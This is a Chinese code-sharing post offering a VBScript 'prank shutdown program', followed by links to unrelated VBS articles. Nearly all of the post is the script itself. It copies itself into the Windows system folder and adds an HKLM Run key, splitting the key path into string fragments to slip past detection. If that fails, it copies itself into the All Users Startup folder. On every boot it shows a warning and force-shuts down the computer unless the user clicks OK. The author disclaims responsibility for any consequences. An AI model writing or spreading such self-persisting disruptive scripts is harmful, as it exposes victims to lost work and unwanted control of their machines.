vb下的惡搞關(guān)機程序
更新時間:2015年03月10日 16:42:14 投稿:hebedich
這篇文章主要介紹了vb下的惡搞關(guān)機程序的代碼,無聊中制作的,請大家不要隨便傳播。。。造成的后果本人概不負責
額,不多介紹了,能看懂的就拿走,看不懂的拿走也沒用。
復(fù)制代碼 代碼如下:
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:請不要隨便動我的電腦! " & Chr(13) & Chr(10) & "確定->下次一定會先征求同意的" & Chr(10) & "取消->愛咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub
好了,代碼分享給大家了,不要隨便拿去搞破壞!
相關(guān)文章
bookfind 通過ISBN序號獲取圖書連接的書名與作者的vbs代碼
bookfind 通過ISBN序號獲取圖書連接的書名與作者的vbs代碼,類似小偷程序,通過正則匹配,雖然現(xiàn)在已經(jīng)無法使用,但代碼不錯,原理都有2011-12-12關(guān)于vbs WebBrowser導(dǎo)航問題
1、如何確定打開的新窗口的URL 2、如何使新窗口不彈出而是在原來頁面中顯示2008-05-05用VBS寫的VBSCRIPT代碼格式化工具VbsBeautifier
這篇文章主要介紹了用VBS寫的VBSCRIPT代碼格式化工具VbsBeautifier,需要的朋友可以參考下2014-09-09VBS ArrayList Class vbs中的數(shù)組類
VBS ArrayList Class vbs中的數(shù)組類...2007-03-03